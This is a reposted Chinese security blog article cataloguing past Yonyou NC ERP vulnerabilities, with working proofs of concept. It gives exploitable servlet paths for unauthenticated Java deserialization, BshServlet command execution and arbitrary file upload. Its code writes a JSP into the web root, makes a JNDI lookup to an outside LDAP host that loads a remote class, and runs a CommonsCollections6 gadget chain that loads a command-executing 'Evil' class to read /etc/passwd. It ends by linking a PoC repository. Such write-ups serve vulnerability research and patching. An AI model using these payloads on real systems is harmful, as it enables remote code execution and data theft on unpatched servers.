用友NC历史漏洞(含POC)
2021-07-01 16:10:35 Author: wiki.ioin.in(查看原文) 阅读量:5852 收藏

1.    前言

用友NC爆出多次漏洞,而且漏洞过程都比较简单,所以易于入门。

先看关键路由。
webapps\nc_web\WEB-INF\web.xml

    <servlet-mapping>      <servlet-name>NCInvokerServlet</servlet-name>      <url-pattern>/service/*</url-pattern>    </servlet-mapping>        <servlet-mapping>      <servlet-name>NCInvokerServlet</servlet-name>      <url-pattern>/servlet/*</url-pattern>

service和servlet均由NCInvokerServlet处理,因此用友NC的绝大部分漏洞都存在两种触发方式,比如monitorservlet。以下url均可触发。
/servlet/monitorservlet
/service/monitorservlet

    <servlet>      <servlet-name>NCInvokerServlet</servlet-name>      <servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>    </servlet>

nc.bs.framework.server.InvokerServletlib\fwserver.jar

  private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    String token = getParamValue(request, "security_token");    String userCode = getParamValue(request, "user_code");    if (userCode != null)      InvocationInfoProxy.getInstance().setUserCode(userCode);     if (token != null)      NetStreamContext.setToken(KeyUtil.decodeToken(token));     String pathInfo = request.getPathInfo();    log.debug("Before Invoke: " + pathInfo);    long requestTime = System.currentTimeMillis();    try {      if (pathInfo == null)        throw new ServletException("Service name is not specified, pathInfo is null");       pathInfo = pathInfo.trim();      String moduleName = null;      String serviceName = null;      if (pathInfo.startsWith("/~")) {        moduleName = pathInfo.substring(2);        int slashIndex = moduleName.indexOf("/");        if (slashIndex >= 0) {          serviceName = moduleName.substring(slashIndex);          if (slashIndex > 0) {            moduleName = moduleName.substring(0, slashIndex);          } else {            moduleName = null;          }         } else {          moduleName = null;          serviceName = pathInfo;        }       } else {        serviceName = pathInfo;      }       if (serviceName == null)        throw new ServletException("Service name is not specified");       int beginIndex = serviceName.indexOf("/");      if (beginIndex < 0 || beginIndex >= serviceName.length() - 1)        throw new ServletException("Service name is not specified");       serviceName = serviceName.substring(beginIndex + 1);      Object obj = null;      try {        obj = getServiceObject(moduleName, serviceName);      } catch (ComponentException e) {        String msg = svcNotFoundMsgFormat.format(new Object[] { serviceName });        Logger.error(msg, (Throwable)e);        throw new ServletException(msg);      }

如果以/~开头,截取第一部分为moduleName,然后再截取第二部分为serviceName,再根据getServiceObject(moduleName, serviceName)去找Servlet类进行调用。因此相当于调用任意Servlet类。此处触发路由又多了几种写法,还是以monitorservlet为例。
/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
/servlet/~ic/MonitorServlet
/servlet/monitorservlet

第一种写法最通用,其中ic为moduleName,即modules目录下的目录名,由于MonitorServlet在lib目录,因此其他module也可以调用,比如。
/servlet/~gl/nc.bs.framework.mx.monitor.MonitorServlet
/servlet/~sc/nc.bs.framework.mx.monitor.MonitorServlet

全模块modules目录如下,不过大部分不会全模块安装。
aeam/aedsm/aemm/aert/aesm/aim/ali/alo/ampub/arap/aum/baseapp/batm/bc/bcbd/bcsi/bgm/bqdsndbd/bqdsnpvt/bqriadbd/bqriamrp/bqriapvt/bqriart/bqriartpub/bqriaufr/bqrt/bqrtdbd/bqrtmrp/bqrtofr/bqrtpvt/bqrtufr/bqwebdbd/bqwebmrp/bqwebpvt/bqwebrt/bqwebrtpub/bqwebufr/cc/cdm/cm/cmbd/cmdg/cmp/cmsg/cof/credit/ct/dm/ebp/ebpur/ebvp/ebvsc/ecapppub/ecp/ecwebpub/emm/ent/eom/erm/esbd/eso/et/etp/eur/ewm/fa/fbm/fct/fep/fip/fipub/fiweb/fp/ftpub/fts/gfc/gl/gpm/hrbm/hrc/hrcm/hrcp/hrhi/hrjf/hrjq/hrma/hrp/hrpe/hrpub/hrrm/hrrpt/hrss/hrta/hrtrn/hrwa/ia/iaudit/ic/ifac/imag/invp/it/itp/lcm/mapub/me/meweb/mmdp/mmdpac/mmecn/mmmps/mmmrp/mmpac/mmppac/mmpps/mmpsc/mmpsm/mmpub/mmsfc/mmsop/mpp/ncwebpub/oaar/oacm/oaco/oaff/oainf/oakm/oamc/oamt/oaod/oaos/oapo/oapp/oapub/oavsm/obm/opc/opcesb/opcnc/pbm/pca/pcia/pcm/pcto/pd/phm/pim/pma/pmbd/pmcost/pmf/pmfile/pminv/pmr/pmsch/pmsite/pmv/pqm/price/ps/pu/pubapp/pubapputil/purp/qc/resa/riaaam/riaadp/riaam/riacc/riadc/riamm/riaorg/riart/riasm/riawf/rlm/rom/rum/sc/sca/scmpub/sf/sn/so/sr/srmem/srmpub/srmsm/sscbd/sscpfm/sscwb/sscwo/tam/tb/tbb/tbex/tf/tmpub/tmweb/to/uapbd/uapbs/uapec/uapfw/uapfwjca/uapim/uapmp/uapportal/uapss/uapxbrl/ufds/ufesbexpress/ufoc/ufoe/ufofr/webad/webap/webbaseapp/webbd/webdbl/webimp/webrt/websm/wmsi/xbrl/yer

modules目录下的jar包中的Servlet,需要使用对应moduleName,一般也可以使用较为通用的ic,或者不指定moduleName,以FileReceiveServlet为例,以下url均可触发。
/servlet/~uapss/com.yonyou.ante.servlet.FileReceiveServlet
/servlet/~ic/com.yonyou.ante.servlet.FileReceiveServlet
/servlet/FileReceiveServlet

2.    MonitorServlet

2020年hw爆出来的反序列化漏洞
/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
lib\fwserver.jar

public class MonitorServlet implements IHttpServletAdaptor {  public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    ObjectInputStream ois = new ObjectInputStream((InputStream)request.getInputStream());    Object input = null;    try {      input = ois.readObject();    } catch (ClassNotFoundException e) {      e.printStackTrace();    }

代码一目了然,所以直接POST反序列化数据流即可。

3.    XbrlPersistenceServlet

2021年hw爆出来的反序列化漏洞。
/servlet/~uapxbrl/uap.xbrl.persistenceImpl.XbrlPersistenceServlet
modules\uapxbrl\META-INF\lib\uapxbrl_uapxbrlLevel-1.jar
uap.xbrl.persistenceImpl.XbrlPersistenceServlet

  public void doAction(HttpServletRequest request, HttpServletResponse response) throws Exception {    ObjectInputStream in = null;    try {      request.setCharacterEncoding("UTF-8");      response.setCharacterEncoding("UTF-8");      in = new ObjectInputStream((InputStream)request.getInputStream());      HashMap<String, String> headInfo = (HashMap<String, String>)in.readObject();

4.    BshServlet

2021年6月爆出来的命令执行,其原因是因为bsh.jar内置一个命令执行的Servlet,如果像NC这样可以任意调用Servlet类,就会出现这个漏洞。曾经泛微E-cology出过一模一样的漏洞。
/servlet/~ic/bsh.servlet.BshServlet
lib\bsh-2.0b1.jar

5.    FileReceiveServlet

2020年11月爆出来的文件上传
/servlet/~uapss/com.yonyou.ante.servlet.FileReceiveServlet
modules\uapss\lib\pubuapss_fwsearchIILevel-1.jar

  private void handleRequest(HttpServletRequest req, HttpServletResponse resp) {    ServletInputStream servletInputStream;    ServletOutputStream servletOutputStream;    InputStream in = null;    ObjectInputStream ois = null;    FileOutputStream os = null;    OutputStream rtnos = null;    String path = "";    String fileName = "";    try {      servletInputStream = req.getInputStream();      servletOutputStream = resp.getOutputStream();      ois = new ObjectInputStream((InputStream)servletInputStream);      Map<String, Object> metaInfo = null;      metaInfo = (Map<String, Object>)ois.readObject();      path = (String)metaInfo.get("TARGET_FILE_PATH");      fileName = (String)metaInfo.get("FILE_NAME");      File outFile = new File(path, fileName);      os = new FileOutputStream(outFile);      byte[] buffer = new byte[1024];      int receiveCount = 0;      while ((receiveCount = servletInputStream.read(buffer, 0, 1024)) != -1)        os.write(buffer, 0, receiveCount);       os.flush();      servletOutputStream.write(1);

需要上传一个序列化的Map,TARGET_FILE_PATH和FILE_NAME键决定文件位置,再向后拼接文件内容。
写出POC。

package test;
import java.io.*;import java.util.*;
public class Test{ public static void main (String[] argv) throws Exception{ Map map=new HashMap(); map.put("TARGET_FILE_PATH", "./webapps/nc_web"); map.put("FILE_NAME", "test123456.jsp"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser")); objectOutputStream.writeObject(map); objectOutputStream.close(); FileOutputStream fileOutputStream = new FileOutputStream("1.ser",true); fileOutputStream.write("test123456".getBytes()); fileOutputStream.close(); }}

由于此处也涉及反序列化,因此直接POST 序列化数据流也一样。

6.    ServiceDispatcherServlet

2020年9月公开,路由有点不一样,此漏洞本质上是远程RMI反序列化。
/ServiceDispatcherServlet
lib\fwserver.jar

nc.bs.framework.comn.serv.CommonServletDispatcher  public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    try {      this.rmiHandler.handle((RMIContext)new HttpRMIContext(request, response));    } catch (Throwable e) {      log.error("remote service error", e);    }   }

可以看到是以RMI处理,此接口是用NC客户端去连服务端,可进行JNDI注入
具体原理见https://xz.aliyun.com/t/8242
POC如下

package test;
import java.util.Properties;import nc.bs.framework.common.NCLocator;
public class Test { public static void main(String[] args) throws Exception { Properties env = new Properties(); env.put("SERVICEDISPATCH_URL", "http://2.2.2.2/ServiceDispatcherServlet"); NCLocator locator = NCLocator.getInstance(env); locator.lookup("ldap://x72h8i.dnslog.cn:1389/exp"); }}

客户端代码位于external\lib\fwpub.jar,同时依赖basic.jar/granite.jar/log.jar/log4j-1.2.15.jar

7.    MxServlet

离MonitorServlet很近的地方还有个MxServlet,和MonitorServlet一样的利用方式。
/servlet/~ic/nc.bs.framework.mx.MxServlet
lib\fwserver.jar

public class MxServlet implements IHttpServletAdaptor {  public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    try {      ObjectOutputStream oos = new ObjectOutputStream((OutputStream)response.getOutputStream());      ObjectInputStream ois = new ObjectInputStream((InputStream)request.getInputStream());      Object input = ois.readObject();      Object obj = null;

8.    ActionHandlerServlet

/servlet/~ic/com.ufida.zior.console.ActionHandlerServlet
modules\aert\lib\pubaert_commonLevel-1.jar

  protected void process(HttpServletRequest request, HttpServletResponse response) {    ObjectOutputStream out = null;    try {      ObjectInputStream ois = new ObjectInputStream(new GZIPInputStream((InputStream)request.getInputStream()));      String actionName = (String)ois.readObject();      String methodName = (String)ois.readObject();      Object paramter = ois.readObject();      String currentLanguage = (String)ois.readObject();      String logModule = (String)ois.readObject();


同样是反序列化,不过数据有个gzip解压操作,因此需要压缩数据流,以下为URLDNS POC。

package test;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;import java.util.zip.GZIPOutputStream;

public class Urldns { public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://x89jpk.dnslog.cn"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 0); hashMap.put(url, "111"); f.set(url, -1); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser")); oos.writeObject(hashMap); oos.close(); FileInputStream inputFromFile = new FileInputStream("1.ser"); byte[] bs = new byte[inputFromFile.available()]; inputFromFile.read(bs); GZIPOutputStream gzip = new GZIPOutputStream(new FileOutputStream("1.ser.gz")); gzip.write(bs); gzip.close();}}

9.  DownloadServlet

     UploadServlet

     DeleteServlet

/servlet/~ic/nc.document.pub.fileSystem.servlet.DownloadServlet
/servlet/~ic/nc.document.pub.fileSystem.servlet.UploadServlet
/servlet/~ic/nc.document.pub.fileSystem.servlet.DeleteServlet

modules\baseapp\lib\pubbaseapp_appdocumentLevel-1.jar
此为附件管理相关Servlet,以DeleteServlet为例

  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {    ObjectInputStream in = null;    ObjectOutputStream out = null;    ServletOutputStream servletOutputStream = resp.getOutputStream();    try {      out = new ObjectOutputStream((OutputStream)servletOutputStream);      in = new ObjectInputStream((InputStream)req.getInputStream());      String dsName = (String)in.readObject();      Object obj = in.readObject();

如果实际去上传下载删除附件需要dsName等值,dsName即数据库名并不固定需要猜测,配置路径位于ierp/bin/prop.xml。因此反序列化比较容易利用。

其中DeleteServlet 和UpoadServlet还有一个特点在于其返回包也是序列化数据,因此可利用其进行报错回显,还是以DeleteServlet为例。

    } catch (Exception e) {      e.printStackTrace();      if (out != null) {        out.writeObject(e);      } else {        throw new ServletException(e);      }

不过有两个前提条件。

一是目标NC安装了含defineClass方法的jar包,即modules\bqrtdbd\lib\js-14.jar
这是因为常用的加载恶意类的手段TemplatesImpl和Bcel都被NC拉黑了,只有org.mozilla.classfile.DefiningClassLoader.defineClass()一种途径,而这种途径也需要看运气。

二是需要恶意类编译时的版本不能和用友NC用的版本差太远。

恶意类代码如下。

package test;import java.io.*;
public class Evil { public Evil(String cmd) throws Exception { String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; Process process = Runtime.getRuntime().exec(cmds); InputStream in = process.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(in)); String line; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String str = sb.toString(); throw new Exception(str); }}

CC6结合defineClass加载恶意类如下。

package test;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.mozilla.javascript.DefiningClassLoader;

public class DefineClassCC6 { public static void main(String[] args) throws Exception { FileInputStream inputFromFile = new FileInputStream("D:\\Downloads\\Evil.class"); byte[] data = new byte[inputFromFile.available()]; inputFromFile.read(data); //DefiningClassLoader.class.newInstance().defineClass("test.Evil",bs).getDeclaredConstructor(String.class).newInstance("whoami"); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(DefiningClassLoader.class), new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"test.Evil", data}), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{ new Object[]{"cat /etc/passwd"}}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, java.lang.Runtime.class); HashSet map = new HashSet(1); map.add("foo"); HashMap innimpl = (HashMap) getFieldValue(map, "map"); Object array[] = (Object[])(Object[])getFieldValue(innimpl, "table"); Object node; try { node = array[1]; } catch (Exception e) { node = array[0]; } setFieldValue(node, "key", entry);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser")); oos.writeObject(map); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser")); ois.readObject();
} public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); }}

效果如图

10.    ShowAlertFileServlet

/servlet/~ic/ShowAlertFileServlet
modules\baseapp\META-INF\lib\baseapp_prealertbaseLevel-1.jar
nc.bs.pub.pa.service.ShowAlertFileServlet

会重定向到其他接口,但由于设置问题,可能会重定向到内网ip,因此泄露内网ip

public class ShowAlertFileServlet extends HttpServlet {  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {    String pk_file = req.getParameter("fileName");    String dsname = req.getParameter("dsName");    String targetServlet = FileStorageClient.getInstance().getDownloadURL(null, pk_file);    resp.sendRedirect(targetServlet.toString());  }}

11.    poc

花了一天半写出来的,不会java渣代码见谅。

https://github.com/kezibei/yongyou_nc_poc




文章来源: https://wiki.ioin.in/url/QbmP
如有侵权请联系:admin#unsafe.sh